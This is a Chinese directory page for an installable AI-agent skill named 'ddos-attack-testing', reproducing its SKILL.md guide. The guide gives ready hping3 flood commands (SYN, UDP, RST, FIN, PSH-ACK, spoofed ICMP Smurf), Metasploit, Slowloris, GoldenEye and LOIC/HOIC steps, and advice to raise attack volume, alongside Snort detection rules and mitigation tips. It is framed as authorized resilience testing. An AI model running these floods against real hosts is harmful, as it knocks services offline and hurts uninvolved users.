Token导航 LogoToken导航

Agent Skill · 待分类

ddos-attack-testing(DDoS 攻击测试)

用于辅助测试设计、自动化测试、用例整理和回归验证。它适合让 Agent 编写单元测试、端到端测试、测试计划或根据失败日志定位问题。使用时需要确认项目测试框架、运行命令和夹具数据,避免为了通过测试而改坏真实逻辑;涉及浏览器或外部服务时,应区分本地模拟、测试环境和生产环境。

ddos-attack-testing 是待分类类 Agent Skill,可用宿主为 Codex、Claude、Cursor、Gemini CLI,通过GitHub 仓库获取,权限为执行命令;许可证信息还不明确,第三方扫描有未通过项,按安装量在待分类类的 11,209 个 Skill 里排第 1,059。

总安装 5,474周安装 203GitHub Stars 28下载 1,394核验 2026-05-01

安装说明

本站只整理中文说明,不托管安装包,也不代用户安装。
GitHub
许可证
unknown

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:ddos-attack-testing(DDoS 攻击测试)
来源仓库:https://github.com/zebbern/secops-cli-guides
仓库路径:skills/ddos-attack-testing
安装命令:
npx skills add https://github.com/zebbern/secops-cli-guides --skill 'DDoS Attack Testing'
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/zebbern/secops-cli-guides --skill 'DDoS Attack Testing'

这个 Skill 是做什么的

这个 Skill 的分类还没最终确定,用法以来源仓库的说明为准。

授权执行的DoS攻击测试工具集,用于评估网络抗攻击能力和IDS配置效果。适合渗透测试、安全演练和入侵检测规则验证等专业安全评估场景。包含hping3、Slowloris等工具使用说明及Snort规则配置指导。严禁未经授权的测试行为,仅限合规环境下由具备资质人员操作执行。

ddos-attack-testing 属于待分类类 Skill,可作为该场景下的辅助能力补充。

来源仓库内路径:skills/ddos-attack-testing

上手步骤

4 步
  1. 1

    确认自己的宿主工具

    公开资料标注支持 Codex、Claude、Cursor、Gemini CLI;先确认自己用的是其中之一,再按对应工具的 Skills 目录放置。

  2. 2

    拿到安装命令

    可以直接复制的命令是 npx skills add https://github.com/zebbern/secops-cli-guides --skill 'DDoS Attack…;命令里的占位符换成自己的路径或密钥再执行。

  3. 3

    安装后重启宿主

    命令执行完要完全退出宿主工具再打开,让新装的 Skill 被重新扫描到,否则列表里可能看不到。

  4. 4

    按最小权限试用

    它需要执行命令,先在测试目录或测试账号里跑,确认没问题再放到正式项目。

常见问题

6 条

ddos-attack-testing 怎么安装?

在终端执行 npx skills add https://github.com/zebbern/secops-cli-guides --skill 'DDoS Attack Testing'。装完完全退出宿主工具再打开,让它重新扫描本地 Skill。

ddos-attack-testing 支持哪些 AI 工具?

公开资料标注支持 Codex、Claude、Cursor、Gemini CLI。其他工具只要能读取本地 Skill 目录,一般也能手动放进去,但要自己确认触发方式是否一致。

ddos-attack-testing 需要什么权限?

权限级别是执行命令。安装流程涉及命令执行,可能通过 npx skills add https://github.com/zebbern/secops-cli-guides --skill 'DDoS Attack Testing' 联网下载 Skill 或依赖。用户安装前应确认命令来源、仓库内容和执行环境。

ddos-attack-testing 是免费的吗?

公开资料没有标注明确许可证,收费和商用限制都无法确认。正式使用前请到来源仓库核对授权说明。

ddos-attack-testing 用的人多吗?

公开数据是累计安装 5,474 次,近一周安装 203 次,下载 1,394 次,GitHub 28 星。这些数字来自第三方目录统计,只能当作热度参考,不代表质量或安全性。

ddos-attack-testing 安全吗?

第三方扫描有未通过项,风险较高。除非你确认过源码,否则不建议直接安装到常用环境。

值得选的地方和要先想清楚的地方

值得选的地方

  • 同时适配 4 种工具,换客户端不用重新找替代品。

先想清楚的地方

  • 需要执行命令,装到常用环境前要先评估影响面。
  • 许可证没有明确标注,能不能商用、能不能再分发都不确定。
  • 第三方扫描存在提醒项或未通过项,需要人工逐条确认。
  • 第三方目录整理,版本更新和行为细节以来源仓库为准。

适不适合你

更适合

  • 已经在用 Codex,想直接扩展它能力的人。
  • 需要处理待分类类任务、又不想每次都手写提示词的人。

不太适合

  • 不能接受 Skill 在你机器上执行命令的人。
  • 需要明确授权才能用到公司项目里的场景。
  • 需要厂商级技术支持和 SLA 的生产系统。

待分类类 Skill 对比

6 个同类
Skill总安装GitHub 星权限许可证扫描
infsh-cli

infsh CLI · Codex、Claude

4,374,576382权限未标注未明确未收录
ai-video-generation

AI 视频生成 · Codex、Claude

4,313,376382调用外部服务未明确有提醒
lark-openapi-explorer

云雀 OpenAPI 浏览器 · Codex、Claude

2,064,1209,011需要联网未明确有提醒
lark-workflow-standup-report

Lark 工作流程站立报告 · Codex、Claude

2,041,6328,978需要联网未明确通过
use-my-browser

使用我的浏览器 · Codex、Claude

1,848,49140操作浏览器未明确未通过
ddos-attack-testing

DDoS 攻击测试 · 本页

5,47428执行命令未明确未通过

按安装量取同分类前几名;数字来自第三方目录统计,只作热度参考,不代表质量结论。

SKILL.md 原文

DDoS Attack Testing

Purpose

Conduct authorized denial of service testing to assess network resilience and configure intrusion detection systems (IDS) to detect and alert on various DoS attack patterns. This skill covers volume-based, protocol-based, and application-layer attacks using command-line and GUI tools, along with Snort IDS rule configuration for detection.

Prerequisites

Required Tools

# Hping3 - packet crafting and flooding
sudo apt-get install hping3

# LOIC/HOIC - GUI-based stress testing
# Download from authorized sources only

# Slowloris - Application layer testing
git clone https://github.com/gkbrk/slowloris

# Snort IDS - Detection
sudo apt-get install snort

# Wireshark - Traffic analysis
sudo apt-get install wireshark

Required Knowledge

  • TCP/IP protocol fundamentals
  • OSI model layers
  • Network traffic analysis
  • IDS/IPS configuration

Required Access

  • Written authorization for testing
  • Isolated test network environment
  • Administrative access on target systems
  • IDS/Snort configuration access

Outputs and Deliverables

  1. Resilience Assessment Report - Document network response to stress testing
  2. IDS Rule Configuration - Snort rules for attack detection
  3. Attack Pattern Analysis - Traffic captures and signatures
  4. Mitigation Recommendations - DDoS protection strategies

Core Workflow

Phase 1: Understanding DDoS Categories

Identify the attack category based on target:

Volume Based Attacks:
- Objective: Flood bandwidth with traffic
- Metrics: Bits per second (bps)
- Examples: UDP flood, ICMP flood
- Target: Network bandwidth

Protocol Based Attacks:
- Objective: Exhaust server resources
- Metrics: Packets per second (pps)
- Examples: SYN flood, Ping of Death
- Target: Connection state tables

Application Layer Attacks:
- Objective: Crash specific applications
- Metrics: Requests per second (rps)
- Examples: HTTP flood, Slowloris
- Target: Web servers, applications

Phase 2: TCP SYN Flood Testing

Test network resilience to SYN flood attacks:

# Using Hping3
hping3 -S --flood -p 80 192.168.1.107

# Options:
# -S     : Set SYN flag
# --flood: Send packets as fast as possible
# -p 80  : Target port 80

# Using Metasploit
msfconsole
use auxiliary/dos/tcp/synflood
set RHOST 192.168.1.107
set SHOST 192.168.1.105
set RPORT 80
exploit

Configure Snort detection rule:

# Edit local rules
sudo gedit /etc/snort/rules/local.rules

# Add SYN flood detection rule
alert tcp any any -> 192.168.1.107 any (msg:"SYN Flood DoS"; flags:S; sid:1000006; threshold:type threshold, track by_src, count 100, seconds 1;)

# Start Snort in IDS mode
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0

Phase 3: UDP Flood Testing

Test network against UDP flood attacks:

# Using Hping3
hping3 --udp --flood -p 80 192.168.1.107

# Options:
# --udp   : Use UDP protocol
# --flood : Maximum packet rate
# -p 80   : Target port

# Specify data size
hping3 --udp --flood -p 53 -d 1000 192.168.1.107
# -d 1000 : 1000 bytes of data per packet

Configure Snort detection rule:

# UDP flood detection rule
alert udp any any -> 192.168.1.107 any (msg:"UDP Flood DoS"; sid:1000001; threshold:type threshold, track by_src, count 100, seconds 1;)

Phase 4: SYN-FIN Flood Testing

Test with invalid flag combinations:

# SYN-FIN flood
hping3 -SF --flood -p 80 192.168.1.107

# Options:
# -S : SYN flag
# -F : FIN flag
# Combined creates invalid packet

Detection is built into Snort for anomalous flag combinations.

Phase 5: PUSH-ACK Flood Testing

Test with PSH-ACK packet flood:

# PUSH-ACK flood
hping3 -PA --flood -p 80 192.168.1.107

# Options:
# -P : PSH flag
# -A : ACK flag

Configure Snort detection rule:

# PUSH-ACK flood detection
alert tcp any any -> 192.168.1.107 any (msg:"PUSH-ACK Flood DoS"; flags:PA; sid:1000002; threshold:type threshold, track by_src, count 100, seconds 1;)

Phase 6: RST Flood Testing

Test with TCP reset packet flood:

# RST flood
hping3 -R --flood -p 80 192.168.1.107

# Options:
# -R : RST flag

Configure Snort detection rule:

# RST flood detection
alert tcp any any -> 192.168.1.107 any (msg:"RST Flood DoS"; flags:R; sid:1000003;)

Phase 7: FIN Flood Testing

Test with FIN packet flood:

# FIN flood
hping3 -F --flood -p 80 192.168.1.107

# Options:
# -F : FIN flag

Configure Snort detection rule:

# FIN flood detection
alert tcp any any -> 192.168.1.107 any (msg:"FIN Flood DoS"; flags:F; sid:1000004;)

Phase 8: ICMP Smurf Attack

Test amplification attack scenario:

# Smurf attack simulation
hping3 --icmp --flood 192.168.1.255 -a 192.168.1.107

# Options:
# --icmp : Use ICMP protocol
# -a     : Spoof source address (victim)
# Target : Broadcast address

# All hosts reply to victim's spoofed address

Configure Snort detection rule:

# ICMP flood detection
alert icmp any any -> 192.168.1.107 any (msg:"ICMP Flood DoS"; sid:1000005; threshold:type threshold, track by_src, count 50, seconds 1;)

Phase 9: Application Layer Testing

Test HTTP layer resilience:

Slowloris Attack:

# Slowloris - Slow HTTP attack
python slowloris.py 192.168.1.107 -p 80 -s 500

# Options:
# -p 80  : Target port
# -s 500 : Number of sockets

GoldenEye Attack:

# GoldenEye - HTTP DoS
git clone https://github.com/jseidl/GoldenEye
python goldeneye.py http://192.168.1.107 -w 50 -s 500

# Options:
# -w 50  : Number of workers
# -s 500 : Number of sockets

Phase 10: GUI-Based Testing

Use graphical tools for stress testing:

LOIC (Low Orbit Ion Cannon):

# TCP Flood with LOIC
1. Enter target IP: 192.168.1.107
2. Select Port: 80
3. Select Method: TCP
4. Set Threads: 10
5. Click "IMMA CHARGIN MAH LAZER"

HOIC (High Orbit Ion Cannon):

# HTTP Flood with HOIC
1. Add Target URL
2. Select Power: High
3. Set Threads: 256
4. Launch Attack

Quick Reference

Hping3 Flag Options

FlagOptionDescription
SYN-STCP SYN flag
ACK-ATCP ACK flag
FIN-FTCP FIN flag
RST-RTCP RST flag
PSH-PTCP PSH flag
URG-UTCP URG flag
UDP--udpUse UDP protocol
ICMP--icmpUse ICMP protocol

Common Hping3 Commands

Attack TypeCommand
SYN Floodhping3 -S --flood -p 80 TARGET
UDP Floodhping3 --udp --flood -p 80 TARGET
ICMP Floodhping3 --icmp --flood TARGET
SYN-FINhping3 -SF --flood -p 80 TARGET
PSH-ACKhping3 -PA --flood -p 80 TARGET
RST Floodhping3 -R --flood -p 80 TARGET
FIN Floodhping3 -F --flood -p 80 TARGET
Spoof Sourcehping3 -S --flood -a FAKE_IP -p 80 TARGET

Snort Rule Structure

alert [protocol] [src_ip] [src_port] -> [dst_ip] [dst_port] (
    msg:"Alert Message";
    flags:[TCP flags];
    sid:[unique ID];
    threshold:type [threshold|limit|both], track [by_src|by_dst], count [N], seconds [N];
)

Attack Detection Indicators

Attack TypeIndicators
SYN FloodHigh SYN packets, low SYN-ACK
UDP FloodHigh UDP traffic, random ports
ICMP FloodHigh ICMP echo requests
SlowlorisMany half-open connections
HTTP FloodHigh HTTP requests/second

Constraints and Limitations

Legal Requirements

  • Only test systems you own or have written authorization
  • DDoS attacks on production systems are illegal
  • Use isolated test networks
  • Document all testing activities

Ethical Boundaries

  • Never attack production systems without explicit permission
  • Avoid testing during business hours
  • Coordinate with network administrators
  • Have rollback procedures ready

Technical Limitations

  • Test results vary with network capacity
  • CDN and cloud protection may skew results
  • Some attacks require significant bandwidth
  • Detection rules need tuning for environment

Examples

Example 1: Complete SYN Flood Test

Scenario: Test firewall resilience to SYN flood

# Step 1: Configure Snort rule
echo 'alert tcp any any -> 192.168.1.107 80 (msg:"SYN Flood"; flags:S; sid:1000001; threshold:type threshold, track by_src, count 50, seconds 10;)' >> /etc/snort/rules/local.rules

# Step 2: Start Snort
sudo snort -A console -q -c /etc/snort/snort.conf -i eth0

# Step 3: Start Wireshark capture
wireshark -i eth0 -f "host 192.168.1.107 and tcp"

# Step 4: Launch attack from attacker machine
hping3 -S --flood -p 80 -c 10000 192.168.1.107

# Step 5: Observe Snort alerts
# [**] [1:1000001:0] SYN Flood [**]
# 192.168.1.105 -> 192.168.1.107

# Step 6: Analyze Wireshark capture
# Check SYN packet rate and response behavior

Example 2: Multi-Vector Test

Scenario: Test against multiple attack types

# Configure comprehensive Snort rules
cat >> /etc/snort/rules/local.rules << 'EOF'
alert tcp any any -> $HOME_NET any (msg:"SYN Flood"; flags:S; sid:1000001; threshold:type threshold, track by_src, count 100, seconds 1;)
alert udp any any -> $HOME_NET any (msg:"UDP Flood"; sid:1000002; threshold:type threshold, track by_src, count 100, seconds 1;)
alert icmp any any -> $HOME_NET any (msg:"ICMP Flood"; sid:1000003; threshold:type threshold, track by_src, count 50, seconds 1;)
alert tcp any any -> $HOME_NET 80 (msg:"HTTP Flood"; flags:PA; content:"GET"; sid:1000004; threshold:type threshold, track by_src, count 50, seconds 1;)
EOF

# Run tests sequentially
hping3 -S --flood -p 80 -c 5000 TARGET
sleep 30
hping3 --udp --flood -p 53 -c 5000 TARGET
sleep 30
hping3 --icmp --flood -c 5000 TARGET

Example 3: Slowloris Application Attack

Scenario: Test web server connection limits

# Step 1: Check current connections
netstat -an | grep :80 | wc -l

# Step 2: Launch Slowloris
python slowloris.py 192.168.1.107 -p 80 -s 200

# Step 3: Monitor server connections
watch -n 1 'netstat -an | grep :80 | grep ESTABLISHED | wc -l'

# Step 4: Test legitimate access
curl -v --max-time 10 http://192.168.1.107/
# Expect: Connection timeout or slow response

# Step 5: Stop attack and verify recovery

Troubleshooting

Snort Not Detecting Attacks

Problem: No alerts generated during flood

Solutions:

  1. Verify Snort is listening on correct interface
  2. Check rule syntax with snort -T -c snort.conf
  3. Ensure HOME_NET variable is set correctly
  4. Lower threshold values for testing
  5. Verify traffic is reaching the interface

Hping3 Flood Too Slow

Problem: Flood rate insufficient for testing

Solutions:

  1. Use --faster or --flood options
  2. Run from multiple sources simultaneously
  3. Increase system network buffer sizes
  4. Use dedicated network interface
  5. Consider using specialized stress testing tools

Target Not Affected

Problem: Target continues operating normally

Solutions:

  1. Increase attack volume
  2. Target may have DDoS protection
  3. Check network path for filtering
  4. Verify traffic is reaching target (Wireshark)
  5. Target may have high capacity

False Positives in Detection

Problem: Legitimate traffic triggers alerts

Solutions:

  1. Increase threshold count values
  2. Add exceptions for known legitimate sources
  3. Use rate-based detection instead of simple count
  4. Whitelist trusted IP addresses
  5. Tune rules based on baseline traffic analysis

Mitigation Recommendations

Network Level

  1. Implement rate limiting at edge routers
  2. Configure SYN cookies on servers
  3. Use anycast for distributed absorption
  4. Deploy hardware-based DDoS mitigation
  5. Configure ACLs to block known attack patterns

Application Level

  1. Implement connection timeouts
  2. Use reverse proxy with rate limiting
  3. Deploy Web Application Firewall (WAF)
  4. Configure connection limits per IP
  5. Use CAPTCHA for suspicious requests

Infrastructure Level

  1. Use CDN for traffic absorption
  2. Implement geo-blocking if appropriate
  3. Configure auto-scaling for cloud resources
  4. Have DDoS mitigation service on standby
  5. Maintain incident response procedures

平台分布

Codex

36.18%
按下载量换算504

Claude

28.68%
按下载量换算400

Cursor

19.66%
按下载量换算274

Gemini CLI

9.71%
按下载量换算135

安全审计

Gen Agent Trust Hub

通过

Socket

通过

Snyk

未通过

权限和风险

执行命令

安装流程涉及命令执行,可能通过 npx skills add https://github.com/zebbern/secops-cli-guides --skill 'DDoS Attack Testing' 联网下载 Skill 或依赖。用户安装前应确认命令来源、仓库内容和执行环境。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在提醒或未通过项,安装前请自行复核。目前只有一个公开来源,建议同时核对源仓库。

继续浏览同类 Skills